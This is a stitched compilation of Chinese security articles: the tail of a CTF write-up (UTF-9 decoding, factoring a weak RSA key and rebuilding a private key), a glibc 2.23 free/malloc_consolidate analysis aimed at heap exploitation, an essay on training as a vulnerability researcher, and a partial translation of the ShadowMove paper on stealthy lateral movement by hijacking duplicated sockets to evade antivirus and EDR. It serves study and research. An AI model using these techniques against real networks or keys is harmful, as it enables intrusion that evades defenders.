#### 解题思路
下载得到一个叫做`flag_is_here_rfc4042`的文件
看到`rfc4042`，知道了应该是`utf-9`编码了文件用`python2`来解，我们需要先安装`VCForPython27.msi`
接下来就是需要安装`UTF-9`文件
关于`UTF-9`中的问题，我们只需要写一段`python`代码就可以解决了：
import utf9
f1 = open('flag_is_here_rfc4042','r')
f2 = open('flag.txt','w')
str1 = f1.read()
print utf9.utf9decode(str1)
f2.write(utf9.utf9decode(str1))
我们采用的是直接读取`flag_is_here_rfc4042`文件的方法是为了避免复制粘贴时格式出现问题,下面就是具体的操作方法：
我们先来分析一下关于解密出来的内容：
我们由以上的分析可以写出脚本：
import binascii
_ = 1
__ = 2
___ = 3
____ = 4
_____ = 5
______ = 6
_______ = 7
________ = 8
_________ = 9
a = _____*((__//__+___+______-____%____)**((___%(___-_))+________+(___%___+_____+_______%__+______-(______//(_____%___)))))+__*(((________/__)+___%__+_______-(________//____))**(_*(_____+_____)+_______+_________%___))+________*(((_________//__+________%__)+(_______-_))**((___+_______)+_________-(______//__)))+_______*((___+_________-(______//___-_______%__%_))**(_____+_____+_____))+__*(__+_________-(___//___-_________%_____%__))**(_________-____+_______)+(___+_______)**(________%___%__+_____+______)+(_____-__)*((____//____-_____%____%_)+_________)**(_____-(_______//_______+_________%___)+______)+(_____+(_________%_______)*__+_)**_________+_______*(((_________%_______)*__+_______-(________//________))**_______)+(________/__)*(((____-_+_______)*(______+____))**___)+___*((__+_________-_)**_____)+___*(((___+_______-______/___+__-_________%_____%__)*(___-_+________/__+_________%_____))**__)+(_//_)*(((________%___%__+_____+_____)%______)+_______-_)**___+_____*((______/(_____%___))+_______)*((_________%_______)*__+_____+_)+___//___+_________+_________/___
a = hex(a)[2:][:-1]
a = binascii.a2b_hex(a)
print a
运行之后就会得到：
最后得到答案： **key{I_4m-k3y}**
### 六：RSA破解
#### 知识点
`RSA`模数分解，`RSA`解密 `openssl`使用方法
#### 解题思路
下载并打开压缩包文件就会发现：
这是一个加密的`flag`文件和公钥文件 我们先通过`openssl`来分析一下公钥是否可以被攻击
使用`linux`，其中的命令是：
openssl rsa -pubin -text -modulus -in public.pem
我们接着使用`msieve`就可以了
就会得到相应的`P Q`
我们需要使用脚本生成使用文件
import math
import sys
from Crypto.PublicKey import RSA
keypair = RSA.generate(1024)
keypair.p = 290579950064240059571837821251441436997
keypair.q = 314436328879392457343835667929324128609
keypair.e = 65537
keypair.n = keypair.p * keypair.q
Qn = long((keypair.p-1) * (keypair.q-1))
i = 1
while (True):
x = (Qn * i ) + 1
if (x % keypair.e == 0):
keypair.d = x / keypair.e
break
i += 1
private = open('private.pem','w')
private.write(keypair.exportKey())
private.close()
使用`linux`运行脚本很简单 进入文件直接使用命令：
python prikeygen.py
就会生成相应的私钥
-----BEGIN RSA PRIVATE KEY----- MIGpAgEAAiEAygD17Xszub1CHncxiqF4513t48sbx9R6fRQ750kckCUCAwEAAQIg
XbBsX6TQrMj2raKiu6WAqRtv86ps6lbgXsftak7iqgECEQDam6mnJeZJM1o5QlZY
XKlFAhEA7I478Iv1HnDUJ/xGsCkJYQIQFvqv7bMNLvqn7Ebt3qH25QIQFwZlKS3G
Rxc+X0H782ubIQIQL2kzJ1i8luHD5eQlbYjXgg==
-----END RSA PRIVATE KEY-----
接下来就是需要使用`openssl`命令了
就会得到答案： **whalectf{256_n_get}**
参考资料：
**RSA算法原理（一）：**
<http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html>
**RSA算法原理（二）：**
<http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html>
**CTF中那些脑洞大开的编码和加密：** <https://www.tuicool.com/articles/2E3INnm>
**UTF-9:** <https://github.com/enricobacis/utf9>
**CTF中RSA的常见攻击方法 ：** <https://www.anquanke.com/post/id/84632> | 社区文章 |
# Glibc-2.23 源码分析——free部分下
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
终于抽出时间对glibc动态内存管理部分源码进行初略的探究，试着从源码和动调来分析free函数执行过程和一些pwn的攻击技巧，分析的不是很全面，有错误的地方望提出指正，共同进步。ps:欢迎白帽子们关注
涂鸦智能安全响应中心
* * *
### Mmap 处理
#### 释放mmap空间内存
测试代码
断点于free
__libc_free()中Mmap_free处理代码
之后进入 mummap_chunk() 释放 mmap区域
### malloc_consolidate函数
malloc_consolidate()算是一个特殊的free函数,作用是初识化main_arena->bin或者清空main_arena中的fastbins[]
源码文本搜索 malloc_consolidate (av) 一共在glibc-2.23/glibc/malloc/malloc.c
>_int_malloc() 中出现了3次
**情况1**
申请smallbin size的堆块,并且当前bin未初始化
测试代码
关键判断逻辑 bin->bk 是否为0
之后进入 malloc_consolidate(),malloc_init_state()初始化 main_arena的bin
//执行流程
if (get_max_fast () != 0) {
.........
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
执行结果
**情况2**
申请largebin size的堆块,并且main_arena中的fastbin不为空
测试代码
idx=0x40,have_fastchunks校验通过
进入malloc_consolidate()函数后，在fastbin初始化后get_max_fast()=0x80通过校验
clear_fastchunks的作用是将 main_arena 的结构体变量 flag置为1
atomic_exchange_acq()清空 main_arena中的fastbin[size]链表
malloc_consolidate函数之后的代码逻辑
执行效果，之前fastbin[0x20]中的堆块 0x602000被串入unsortedbin
**情况3**
在有fastbin的前提下，申请的chunk的size大于top_chunk,且申请size的大小属于smallbin
测试代码
调试到malloc_init_state()执行条件判断处,当前满足拥有fastchunks
进入malloc_consolidate()后清空了 fastbin
**情况4**
_int_free()中出现了1次
分析源码需要满足逻辑 在被释放的chunk的nextchunk是topchunk,且top_chunk size 大于等于
FASTBIN_CONSOLIDATION_THRESHOLD 情况下触发
测试代码
进入_int_free函数之后的关键逻辑 nextchunk = chunk_at_offset(free_chunk, size)是否为topchunk
之后合并free_chunk和topchunk
之后判断当前topchunk_size是否大于FASTBIN_CONSOLIDATION_THRESHOLD且存在fastbin之后执行
malloc_consolidate()
FASTBIN_CONSOLIDATION_THRESHOLD = 0xffff
具体函数内执行情况与情况2相同,遍历fastbin合并放入unsortedbins
执行结果
* * *
本文作者：Jambolt@涂鸦智能安全实验室
漏洞悬赏计划：涂鸦智能安全响应中心（<https://src.tuya.com>) 欢迎白帽子来探索。
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递[[email protected]](mailto:[email protected])，请注明来源。 | 社区文章 |
**作者：riusksk
公众号：[漏洞战争](https://mp.weixin.qq.com/s/WrSZpqgq6gvZwEIqghqggg "漏洞战争")**
_注：本文为原文上下篇合集_
在上篇文章[《推荐今年C3黑客大会上的几个议题》](https://mp.weixin.qq.com/s?__biz=MzU0MzgzNTU0Mw==&mid=2247483908&idx=1&sn=9c99e59f416236ae3ace958252163991&chksm=fb0416fccc739feaaa457bd2c6723c36581b52d0c13914c9658cce4cbc56e42b360a3f703350&scene=21#wechat_redirect
"《推荐今年C3黑客大会上的几个议题》")中提到“Attacking Chrome
IPC”这个议题，我觉得该议题最大的亮点是在前半场，作者nedwill是之前在Hack2Win大赛上因攻破Chrome浏览器而一战成名，他讲了如何训练漏洞研究能力的过程，讲述自己这几年在漏洞研究上的历程和心得，很励志，其建议也非常具有可操作性，值得效仿学习。我反复看了多遍，对其作了一些总结和补充。
### 1、刻意练习10000小时
这份“鸡汤”道理，想必大家都懂，就不解释了，不懂的自行百度，或者去读读《异类》这本经典书籍。
作者建议以月为单位来制定研究目标，他曾连续花了6个月的时间来研究Chrome Sandbox，但最终一无所获。
所以，有时坚持了不一定能达到目标，但不坚持，就更没戏了。
### 2、训练挖洞的双技能
1. 看洞：哪里看？历史漏洞的git log、bug报告、代码质量报告等等
2. 识洞：就是肉眼看代码找漏洞，即代码审计，难点也就是在这上面，训练方法继续往下看
### 3、代码审计训练
1. 根据自己目标定位，寻找相应的历史漏洞案例进行学习，比如要搞chrome就找chrome的历史漏洞
2. 掌握漏洞所在的模块或子系统，但不看完整的漏洞细节描述，尝试在漏洞版本中找出对应的漏洞
3. 如果（2）中未能找出漏洞，就去看漏洞细节描述，对比自己的审计过程，看遗漏了哪一步骤
4. 不断重复上述训练，直至相信：挖洞只是体力消耗，而非能力问题
这第4点说得，非常励志，因为挖洞挖久了，有时真的容易怀疑自己的能力，目标难度越大，越容易打击人。
作者第一次训练的漏洞是j00ru（Project
Zero成员）的IDA漏洞：<https://j00ru.vexillium.org/2014/10/secure-2014-slide-deck-and-hex-rays-ida-pro-advisories-published/>，2014年的文章了
### 4、3~5年的训练计划
1~2年：做做 CTF 或 WarGames 题目，网上有很多CTF writeup可以参考学习
2~3年：简单点的目标，就是找相对容易挖的产品
3~5年：困难点的目标
目标的难易程度可以直接参考相应的产品的漏洞奖励计划或私有市场的价格，挑选出一份目标清单，按难易程度排序，逐一去实现它。
### 5、Fuzzing训练
作者代码审计2年后，才开始尝试Fuzzer开发。
1. 拿已公开的历史漏洞问自己：如何写fuzzer挖掘到此漏洞？
2. 如果自己不知道此漏洞，那又能够挖掘到呢？
3. 不断重复训练并改进fuzzer，相信会有更多漏洞被意外发现
### 6、努力往往比运气和天赋更重要
虽然挖洞也需要一定运气和天赋，但多数你认为的挖洞天才，其实只不过是花了比你多100倍，甚至更多的时间在这项技术研究上而已
### 7、进入研究者团队或社区，互相学习
国外的交流氛围会比国内的更好一些，也更愿意分享。
很多时候自己的交流圈，大多是一些熟识的同行，或者同事，一般可交流的人还是比较少的。
经常在网上看到不少人会问，如何认识xx大牛、黑客，但其实很多时候却是：
努力提高自己的专业能力，圈子最终会吸纳你进去认识更多圈内人。
### 8、建立自己的漏洞信息来源
RSS订阅无疑是自己最好的方式，这个需要依赖平时自己去不断收集订阅。
很多漏洞相关的博文，往往曝露出某些软件新的攻击面，抢占先机就显得尤为重要，比如当年Android stagefirght
mp4漏洞、word公式编辑器、adobe图片转换器等等，如果能及时关注并尝试去挖掘，往往可以收获不少漏洞的。
### 9、收集和学习开源的漏洞挖掘工具
比如afl、honggfuzz、libfuzzer等很多优秀的漏洞挖掘工具，都是值得好好阅读代码，学习其中的fuzzing思路，可以更好地应用到未来的漏洞挖掘研究上。
### 10、很多不愿搞研究工作的挖洞人，只不过是为了权衡利弊
在《从0到1：开启商业与未来的秘密》一书中有一章叫做“秘密”，漏洞研究可以当作挖掘秘密，为什么人们不探索秘密呢？书中提到4种原因，我觉得同样适用于漏洞研究领域：
1. 渐进主义：把目标定得低一些，更容易取得好成绩；
2. 风险规避：人们害怕秘密是因为怕犯错，除此之外，可能也担心KPI没法完成，又或者挖洞拿到的奖金又该如何跟公司“分赃”呢？
3. 自满：很多时候，某些人可以坐享其成，又何必自己去挖掘秘密；国内研究氛围又喜欢搞营销吹牛逼，牛逼吹多了吹大了，有时连自己都信了；
4. 扁平化：任何一个拥有雄心壮志的人，在涉及某一研究领域之前都会问自己一个问题：如果有可能挖掘到漏洞，难道全球人才库中更加聪明、更加有技术能力的人还没有发现吗？这种怀疑的声音阻止了不少人去探索秘密，从事研究工作，因为身处的世界似乎大到任何个人都无法做出独特的贡献。
### 小结
今年因个人原因，已从安全研究转向业务安全，深知研究的不易。
相信安全领域有秘密的存在，虽会导致黑产的诞生，但肯定也会因此诞生一些优秀的研究者。
这里以白桦的《船》致敬所有仍在安全研究道路上前进的人，与诸君共勉：
> 我有过多次这样的奇遇，
> 从天堂到地狱只在瞬息之间：
> 每一朵可爱、温柔的浪花
> 都成了突然崛起、随即倾倒的高山。
>
> 每一滴海水都变脸色，
> 刚刚还是那样的美丽、蔚蓝；
> 旋涡纠缠着旋涡，
> 我被抛向高空又投进深渊……
>
> 当时我甚至想到过轻生，
> 眼前一片苦海无边；
> 放弃了希望就像放弃了舵柄，
> 在暴力之下只能沉默和哀叹。
>
> 今天我才有资格嘲笑昨天的自己，
> 为昨天落叶似的惶恐感到羞惭；
> 虚度了多少年华，
> 船身多次被礁石撞穿……
>
> 千万次在大洋里撒网，
> 才捕获到一点点生活的经验，
> 才恍然大悟，
> 啊！道理原是如此浅显；
>
> 你要航行吗?
> 必然会有千妖百怪出来阻拦；
> 暴虐的欺凌是它们的游戏，
> 制造灭亡是它们唯一的才干。
>
> 命中注定我要常常和它们相逢，
> 因为我的名字叫做船；
> 面对强大于自身千万倍的对手，
> 能援救自己的只有清醒和勇敢。
>
> 恐惧只能使自己盲目，
> 盲目只能夸大魔鬼的狰狞嘴脸；
> 也许我的样子比它们更可怕，
> 当我以命相拼，一往无前！
>
> 只要我还有一根完整的龙骨，
> 绝不驶进避风的港湾；
> 把生命放在征途上，
> 让勇敢来决定道路的宽窄、长短。
>
> 我完完全全的自由了，
> 船头成为埋葬它们的铁铲；
> 我在波浪中有节奏地跳跃，
> 就像荡着一个巨大的秋千。
>
> 即使它们终于把我撕碎，
> 变成一些残破的木片，
> 我不会沉沦，决不！
> 我还会在浪尖上飞旋。
>
> 后来者还会在残片上认出我，
> 未来的诗人会唱然长叹：
> “这里有一个幸福的灵魂，
> 它曾经是一艘前进着的航船……”
### 11、工具与方法论沉淀
虽说代码审计是项必备技能，但终究是项体力活。
有些漏洞（比如逻辑漏洞）可能就需要人工审计，但也有不少漏洞是可以自动化Fuzzing，一些能自动化或半自动化实现的，尽量写程序自动化。
因为，纯人工审计终究熬不过年纪，熬不过团队人员的离散变迁，熬不过互联网的快速发展……
比如，2012年刚开始写《漏洞战争》时，单身一人，从早上8点多起床吃饭，然后开始调代码、看代码，一直奋战到晚上12点，身体无压力。近7年过去了，现在要是这么折腾，身体就要散架了……
比如，团队里的人分工做不同领域的代码审计，若无工具和方法论沉淀，那么有人走的话，此人对应的领域可能就无法持续产出；若有新人加入，代码审计的技能又不好传承，很多又得重头来。所以，一直觉得，好的团队应该是，即使人员离散变迁，依然能够独立运作、持续产出。
比如，Linux内核在2018年净增87万行代码，很多类似复杂庞大的项目，看代码有时看都看不过来，一般都是针对性地挑模块作代码审计。
再比如，Fuzzer开发里面就有很多共用功能是可以直接做成框架沉淀下来，文件变异、崩溃监控、样本去重精简等等，很多时候有个新的攻击面需要测试，就可以直接在框架的基础上写fuzzer，将会高效很多。下文提到的一个IE漏洞挖掘案例就是基于这思路挖到的。
我曾经想开发两个漏洞挖掘系统，一个二进制，一个Web，名字都想好了，合称”冰弓玄箭“，就是英雄联盟中寒冰射手的那套装备，但一直都没什么业余时间去开发，仅写了个界面，希望2019年有机会能够完成：
“冰弓”的Logo直接用的是“破甲弓”，感觉是不是很酷……
再说说方法论，这词虽有点虚，但其实本质上就是一种技术方法的总结而已。
比如，渗透测试的时候，总有些人每次都能搞到RCE，无论啥网站，完全摆脱“随机挖洞”的命运。多数情况下，他们都会有一套自己测试方法，或者将一些经验转换成工具，测试时就拿自己的工具和以往总结的方法论开搞。
比如，STRIDE威胁建模本身就是一套方法论，一套简单的风险助记符，当然我这里不是说安全研究要用它，只是举个方法论的例子而已，它也没有那么万能。
写这么多，总结起来就一句话：多总结，多沉淀！
### 12、漏洞研究风向标：安全公告
如果大家有关注四大厂商（Google、Microsoft、Apple、Adobe）的安全公告的话，会发现有段时间会出现很多类似漏洞的公告，因为每次出现一个新的攻击面之后，一帮研究人员就蜂捅而上狂刷一波。
这种情况一向是先下手为强，而上文提到的工具和方法论就更显得尤为重要了，否则最后都只能捡剩的。
比如本周 Microsoft
安全公告出来后，我仔细分析了下，然后下班回家写了个Fuzzer，挂着跑了一天，出来个Crash，再用几分钟成功构造出PoC，实现IE浏览器的远程代码执行，可见也是个品相极佳的神洞：
但不幸的是，我打了1月的补丁后，发现修复了，成功“撞洞”，真的是欲哭无泪……
但至少证明，通过安全公告寻找新的攻击面，然后挖掘一些类似漏洞，一直是一种高效的漏洞研究方式。
### 13、老一辈研究者都去哪儿了？
最近腾讯AILab张潼离职的事传得很火，还有之前各大厂聘请的AI科学家陆续辞职，回归学术界，很多人因此唱起科学家之于科技公司的无用论，主要有以下几点原因：
1. 研究成果无法落地为产品：做安全研究也是如此，很多事情是无法落地的，圈内很多研究团队都是拿漏洞来打比赛赚影响力，真正能实现为公司营利的（打比赛赚奖金的忽略不计，因为那些都不够给研究者们的工资），我只知道有1个研究团队/实验室今年营利了。
2. 长期无产出，KPI压力大：研究了很长时间，最后仍一无所获，那KPI咋办、PPT怎么写、晋级怎么答辩。安全行业有句老话来形容安全研究工作，叫“三年不开锅，开锅吃三年”，但多数个人和企业都等不到三年。之前同事说王小云为何能破解出MD5，是因为她在学校里很长时间没搞出东西的时候，领导没找她麻烦，没有KPI压力，以致能够长期专注于此。具体原因我不确定，但学术界自然是没有企业有这般KPI压力。
3. 业务数据不共享：业务部门的产品数据基本不太可能共享给实验室作研究的，一般都是实验室以SDK的形式提供给业务用，数据由业务自主控制。这种情况对于安全研究的影响相对较少一些。
头两点是多数安全研究者的困境，也跟圈内同行讨论过，下面聊聊这帮老一代“知青”最后都去哪儿了？这里我主要总结一些圈内人的应对方法（其实多数都是转型），具体不作点评，总结为主，也欢迎私信讨论（新注册的公众号已不允许留言）。
1. 坚持研究：这帮人主要还是那些研究能力较强的，且有一定研究成果的人，围观下各大实验室就知道个大概了，不多说；
2. 转型安全产品开发与运营：有产品就能解决落地问题，帮助企业解决实际问题，有不少人走这条道，去做威胁情报系统、漏洞扫描器、WAF、云安全产品等等；
3. 转型业务安全：跟研究工作差异较大，因为业务安全的主要问题很多时候并非漏洞，而是跟业务产品相关的黑灰产对抗等等；
4. 自由研究者：国外很多此类研究者，靠拿漏洞赏金过活，俗称“赏金猎人”，国内相对少一些，也有一些国内自由研究者后来又进企业做研究的，这里讲的几种转型都可以来回转换，有些人就干过。
5. 创业：这里包括安全行业内的创业，也包括那些开淘宝店、奶茶店、服装生意、卖水果的……
### 14、个人终究干不过团队
有时想搞的研究太多了，但发现一个人根本搞不过来，需要多人协作才可能完成。但需要多人在研究领域上有交集，否则拉在一块也是各搞各的。
前篇第7点讲到“进入研究者团队或社区，互相学习”，也是一大影响因素，互相学习也是一种提高效率和产出的方式。
算了，不多说了！
### 结语
这次真的结束了，没有续篇了。
思考了很多，总结了很多，有些也是写了删，删了写。
安全研究领域一直也没人写过这些，出来唠叨几句，也欢迎大家私信讨论。
最后奉一首酒桌上的[《苦行僧》](https://v.qq.com/x/page/s13561x632c.html
"《苦行僧》")结束本话题，听过这首歌很多个版本，包括原唱，但终究还是觉得视频里这位老哥唱得更具江湖气、更具情感、更具感染力……旁边一老哥听着听着都偷偷抹泪了！
之所以点这首歌，是因为：每一个研究者都是独立自行的苦行僧！
* * * | 社区文章 |
# ShadowMove：隐蔽的横向移动策略
|
##### 译文声明
本文是翻译文章，文章原作者 Amirreza Niakanlahij,Jinpeng WeiMd,Rabbi Alam,Qingyang Wang,Bei-Tseng Chu，文章来源：29th USENIX Security Symposium
原文地址：<https://www.usenix.org/conference/usenixsecurity20/presentation/niakanlahiji>
译文仅供参考，具体内容表达以及含义原文为准。
高级持续威胁（APT）攻击使用各种策略和技术在进入奖励环境中横向移动。但是，现有的策略和技术具有局限性，例如需要更高的权限，创建新的连接，执行新的身份验证或需要进行过程注入。基于这些特征，已经提出了许多基于主机和基于网络的解决方案来防止或检测这种横向移动尝试。在本文中提出了一种新颖的隐蔽横向移动策略ShadowMove，其中仅将企业网络中系统之间已建立的连接误用于横向移动。它具有一组独特的功能，例如不需要提升的特权，不需要新的连接，不需要额外的身份验证以及不需要进行进程注入，这使它绕过了最新的检测机制。
ShadowMove通过新颖的套接字复制方法启用，该方法允许恶意进程以静默方式滥用良性进程建立的TCP连接。
本文为当前的Windows和Linux操作系统设计和实现ShadowMove，为了验证ShadowMove的可行性，构建了多个原型，这些原型成功劫持了三种企业协议FTP，Microsoft
SQL和Window Remote
Management，以执行横向移动操作，例如将恶意软件复制到下一台目标计算机并在目标计算机上启动恶意软件。还确认现有的基于主机和网络的解决方案无法检测到本研究的原型，例如五种顶级防病毒产品（McAfee，Norton，Webroot，Bitdefender和Windows
Defender），四个IDS（Snort，OSSEC，Osquery和Wazuh）以及两个终端检测响应系统（CrowdStrike Falcon
Prevent和Cisco AMP）。
## 0x01 Introduction
高级持久威胁（APT）是复杂的精心计划，并且是针对诸如政府机构或大型企业等知名目标的多步骤网络攻击。这种攻击是由资源丰富的知识渊博的攻击者（如Lazarus或APT38）进行的，每年给公司和政府机构造成数十亿美元的财务损失。
APT攻击者通常使用鱼叉攻击或水坑攻击在目标网络中找到立足点。一旦进入目标网络，他们会谨慎地使用承诺的系统作为进入其他系统的跳板，直到他们能够访问关键系统（例如包含机密文件的文件服务器）后，这些关键系统都被藏在网络内部。朝向关键系统的这种移动称为横向移动（
_lateral movement_ ）。
横向移动可以通过多种方式实现。攻击者可以利用SMB或RDP等网络服务中的漏洞在网络中横向移动。但是，由于防御机制的进步，找到此类漏洞并成功将其利用而不被发现就变得越来越困难。或者，攻击者可以从受感染的系统中获取用户凭据，然后重复使用这些凭据来执行横向移动（例如，凭据转储credential
dumping，哈希传递pass-the-hash或票证传递pass-the-ticket）。但是，这种方法需要创建新的网络连接，因此如果新连接偏离合法系统之间的正常通信模式，则可以通过网络级防御进行检测。攻击者可以使用另一种方法，利用劫持攻击来修改合法客户端，以便将其连接重新用于横向移动（例如，通过修补SSH客户端以与SSH服务器通信而不知道密码）。但是，此类攻击是特定于应用程序和协议的，需要进行过程注入。由于现有的基于主机的防御解决方案（例如Windows
Defender ATP）认识到各种过程注入技术，因此它们难以实施且易于检测。
在本文中提出了一种新颖的横向移动策略，称为ShadowMove，它使APT攻击者可以在企业网络中的系统之间平稳移动，而不会被现有的主机级和网络级防御机制所发现。攻击者希望避免在操作过程中利用远程服务中的漏洞，以减少被入侵检测系统（IDS）暴露的机会。在这种攻击情况下，攻击者被动地观察受感染系统的通信动态，以逐步构建其在目标网络中正常行为的模型，并利用该模型选择下一个受害者系统。此外，为了使攻击更加隐秘，攻击者将自己限制为仅重用已建立的连接。
WinRM（Windows远程管理）和FTP等许多应用程序协议允许用户在远程服务器上执行某些操作。攻击者将自己的命令注入此类协议的命令流中，以实现其目标。例如，攻击者可以通过在建立的WinRM会话中注入命令来远程执行程序），或者可以通过在建立的FTP连接中注入FTP命令来检查远程系统上的文件系统。
ShadowMove在良性客户端过程中不使用任何代码来注入伪造的命令。取而代之的是，它采用了一种新颖的技术来秘密复制合法客户端所拥有的套接字，并通过这种被盗套接字注入命令。这样，将不会创建新的连接，也不会执行新的身份验证，因为在已建立的会话的上下文中解释了所注入的命令；这意味着攻击者无需通过任何身份验证。
在本文中，展示了攻击者如何在典型的企业网络上实施这种攻击。为此开发了一个原型系统，该系统可以劫持在同一客户端下运行的FTP客户端，Microsoft
SQL客户端和WinRM客户端建立的现有TCP连接。用户帐户作为本研究的原型，没有任何提升的特权。还提供了一个基于Prolog的计划程序，攻击者可以利用该计划程序通过劫持可用的连接来系统地计划横向移动。这样，攻击者可以比现有攻击方案更秘密地访问关键系统。本文讨论了有关攻击者如何注入其数据包的技术挑战，这些数据包符合在已建立的TCP连接上运行的协议，并且在连接的另一端服务器可以接受。
## 0x02 ShadowMove
ShadowMove的基本思想是重用已建立的合法连接，以在受感染的网络内横向移动。如上图所示，ShadowMove的工作分为三个主要步骤：首先，它默默地复制合法客户端应用程序用来与服务器应用程序通信的套接字。其次，它使用复制的套接字在客户端和服务器之间的现有TCP会话中注入数据包。第三，服务器处理注入的数据包，并无意中保存和/或启动ShadowMove的新实例。这些步骤的结果是，攻击者会从客户端计算机秘密移动到服务器计算机。
由于ShadowMove会限制自己重用已建立的连接到相邻系统，因此它可以确保入侵检测系统对意外连接发出警报，而不会检测到它的运行。此外，通过这样做，攻击可以绕过建立新连接所需的身份验证阶段。从主机安全角度和网络安全角度来看，ShadowMove攻击都是值得注意的：在主机级别，ShadowMove滥用受害进程拥有的资源（即已建立并经过身份验证的网络连接）；另一方面，由于ShadowMove滥用的是套接字，通过将恶意网络流量与良性网络流量混合，其攻击行为扩展到了网络级别。
### 1）ShadowMove利用的基本弱点
ShadowMove攻击是现有计算机环境中的两个基本弱点。在诸如GNU Linux和Microsoft
Windows之类的商用操作系统中，这两个相互矛盾但必不可少的要求（即进程隔离和资源共享）的第一个漏洞。下一个弱点是由于许多现有的网络协议缺少适当的内置消息源完整性验证机制，这使它们容易受到消息注入攻击。
进程隔离和进程（资源）共享是相互矛盾的要求。进程具有虚拟地址空间，系统对象的打开句柄和其他属性。出于可靠性和安全性的考虑，必须保护操作系统中的所有进程免受彼此的活动影响。现代OS的保护机制将进程之间对不同种类资源（例如CPU，内存和I
/ O设备）的访问隔离开来。例如，内存隔离会将每个进程放入其自己的“地址空间”。
另一方面，现代OS支持在进程之间共享，因为共享数据/资源可能很有用。以套接字共享为例，一个进程首先创建套接字并建立连接，然后将那些套接字移交给其他进程，这些进程将负责通过这些套接字进行信息交换。但是，进程之间的共享存在风险，因此必须对其进行仔细控制。现代OS假设共享资源的进程通过设置适当的安全策略来控制对共享对象的访问，从而确保这种共享的安全性，从而彼此信任。
不幸的是，商用OS的默认访问控制策略遭受关于过程信任关系的错误假设。例如，内置的Windows安全策略允许同一用户的进程将其开放句柄共享给资源，而内置的Linux策略则允许父进程通过ptrace访问子进程的内存。这些默认允许策略假定同一用户的进程之间或父进程与子进程之间建立信任关系，这在当今的计算环境中是不现实的。结果，这种默认的允许策略可能会被攻击者滥用。在本文中提供了一个具体的示例，套接字复制攻击，它使恶意进程能够在与网络上的外部实体进行交互时模仿合法进程。
启用ShadowMove的另一个潜在问题是，在许多应用程序协议（例如FTP和TDS（用于MS
SQL））中缺少适当的消息源完整性检查。结果，端点无法验证消息的来源，以确保恶意行为者不会交错消息。复制套接字的攻击者可以在客户端的请求之间插入一个请求，并误导服务器以为原始客户端发送了该请求，从而处理了该请求。关于加强消息来源完整性，可以将应用协议分为三类：
•没有源完整性强制实施：这样的协议没有使服务器能够检查接收到的消息的来源完整性的任何内置机制，因此服务器接受符合协议的任何适当消息。它们容易受到ShadowMove攻击，一种典型的协议是FTP。
•原始完整性执行不充分：在这些协议中，服务器生成一个随机的随机数供客户端与其请求一起使用，并且服务器使用此随机数来验证接收到的请求的来源。不幸的是，这些协议对ShadowMove并不安全，因为攻击者可以等待客户端创建新连接并听取服务器的响应以立即学习。一种典型的协议是WinRM。
•充分执行原始完整性：在这些协议中，验证起源完整性所需的部分信息是由客户端而不是服务器生成的。在这种情况下，攻击者无法通过侦听服务器响应来学习该信息。这些协议不受ShadowMove的影响，其中一个代表性协议是SSL。
### 2）威胁模型
假设攻击者已经在普通用户的特权下建立了受害者系统，并且希望向关键资产进行横向移动。攻击者必须运行恶意软件才能实现此目的。假定将要劫持其TCP连接的受害者进程不知道恶意软件进程。
演示场景—以公司的员工自助服务应用程序为例。这是典型的多层企业应用程序，可以从浏览器进行访问。下面是这种系统的组件的描述：
•运行Web客户端的员工台式计算机，一些员工同时是IT人员，他们有时需要将内容推送到应用程序服务器，因此他们的计算机上安装了文件复制工具（例如FTP）。
•应用程序服务器，运行许多应用程序，例如工资，股票，健康保险，退休计划和差旅。
•数据库服务器，用于存储人员信息，例如DOB，SSN，联系信息和薪水，并由应用程序服务器访问。
在此示例中，攻击者通过鱼叉式网络登陆到员工的桌面上，而该员工恰好是IT人员。攻击者所追求的关键资产是存储在数据库服务器中的员工信息。因此，攻击者需要从桌面移动到应用程序服务器，然后再移动到数据库服务器。此外，他们需要在数据库服务器上保留一些工具，以便获取有关员工记录更新的每日报告。
为了从桌面移动到应用程序服务器，攻击者可以利用FTP连接（请参阅第4.2节）将一段恶意软件复制到应用程序服务器，然后等待该恶意软件被执行。例如，应用服务器通常可以在配置文件中指定的路径中运行外部程序（例如，用C实现的数据处理应用）。配置文件可能包含“命令名=
C：\ users \ alluser \ appdata \ updater \
dpanalyzer.exe”，并在此基础上，一旦触发了某些相关事件，应用服务器将执行dpanalyzer.exe。为了使应用程序服务器保持最新，授权IT人员将文件复制到应用程序服务器以更新dpanalyzer.exe。在这种情况下，攻击者可以利用FTP连接将一段恶意软件复制到应用程序服务器，以替换合法的dpanalyzer.exe，然后等待该应用程序服务器执行该恶意软件。攻击者可以通过相同的FTP连接获取配置文件的内容。
当恶意软件在应用程序服务器上启动时（例如dpanalyzer.exe），它可以利用应用程序服务器和数据库服务器之间的数据库连接（Microsoft
SQL）来进一步复制和启动。数据库服务器上的恶意软件。
## 0x03 ShadowMove Architecture and Design
上图描述了ShadowMove的总体体系结构，它由六个主要模块组成：连接检测器，套接字复制器，对等处理器，网络视图管理器，横向移动计划器和计划执行器。
ShadowMove设计的核心是网络视图的概念，它表示受害环境中正常网络通信模式的模型，由在不同受害系统上运行的ShadowMove实例共同维护。每个ShadowMove实例都维护两个视图：本地视图基于本地系统中的当前连接，而全局视图是通过在ShadowMove实例之间交换和传播信息来构造的。
连接检测器模块负责检测可用于横向移动的新建立的TCP连接，并请求套接字复制器复制相应的套接字。它还可以检测到TCP连接的中断，并通知网络视图管理器。
套接字复制器复制目标进程拥有的套接字，并将其与其他上下文信息（如所有者进程的PID）一起传递给其调用方。
对等处理器与相邻的ShadowMove实例进行通信，以同步其对受感染网络的视图。一方面，它使用从其对等方（例如，新发现的主机）中学到的信息来更新Net
View Manager。另一方面，它将本地ShadowMove实例的网络视图发送到其远程对等方。
网络视图管理器基于来自连接检测器和对等处理程序的通知，结合了几种方法来维护受害网络的全局视图。它还确定每个重复的套接字支持的服务类型，并保持重复的套接字的活动性。
横向移动计划器会根据当前网络视图和重复的套接字所支持的功能定期创建横向移动计划，该计划指定必须使用的套接字，必须执行的操作类型以及有效载荷。
最后，计划执行器器通过向给定套接字发送数据包和/或从给定套接字接收数据包，在横向移动计划中执行各个步骤，例如将文件传输到远程服务器。
### 1）ShadowMove连接检测器
